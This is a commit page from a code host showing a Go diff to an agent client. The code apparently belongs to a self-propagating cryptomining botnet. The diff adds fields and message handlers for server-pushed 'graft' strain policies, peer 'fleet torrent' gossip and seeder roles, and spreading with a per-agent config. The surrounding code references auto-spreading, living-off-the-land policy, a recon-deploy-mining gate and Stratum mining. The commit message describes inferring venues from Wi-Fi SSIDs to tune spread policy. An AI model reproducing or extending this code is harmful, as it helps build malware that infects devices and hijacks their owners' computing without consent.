Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -72,6 +72,8 @@ type AgentClient struct {
gossipSent map[string]struct{}
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
inheritedPhenotype *InheritedPhenotype
// pendingGraft is a court-approved strain splice applied on the next spread.
pendingGraft *GraftPolicy
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
@@ -83,6 +85,10 @@ type AgentClient struct {
fleetRoleHintVal string
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
lanSeeders []deploy.LANSeederHint
// fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy).
fleetTorrentEnabled bool
// subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder.
subnetPrimarySeeder bool
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
@@ -417,6 +423,10 @@ func (c *AgentClient) authenticate() error {
}
c.applyAuthLotlPolicy(resp)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
if resp.FleetTorrentEnabled {
c.advertiseFleetTorrentHealthy()
}
c.agentID = resp.AgentID
if resp.ClearanceLevel > 0 {
c.mu.Lock()
@@ -457,7 +467,7 @@ func (c *AgentClient) authenticate() error {
if cfg.AutoSpread {
deploy.StartAutoSpreader(cfg)
if deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.RunSpreadOnce(c.cfgForSpread())
deploy.ClearFirstRunSpreadMarker(cfg)
}
}
@@ -533,6 +543,8 @@ func (c *AgentClient) handleMessage(msg Message) {
}
case "policy_update":
go c.applyPolicyUpdate(msg.Payload)
case "graft_policy":
c.applyGraftPolicyJSON(msg.Payload)
case "adaptive_strategy_update":
c.applyAdaptiveStrategyJSON(msg.Payload)
case "ai_snapshot_request":
@@ -551,6 +563,8 @@ func (c *AgentClient) handleMessage(msg Message) {
}
case "atlas_gossip":
c.handleAtlasGossip(msg.Payload)
case "fleet_torrent_gossip":
c.handleFleetTorrentGossip(msg.Payload)
case "command":
var cmd struct {
Action string `json:"action"`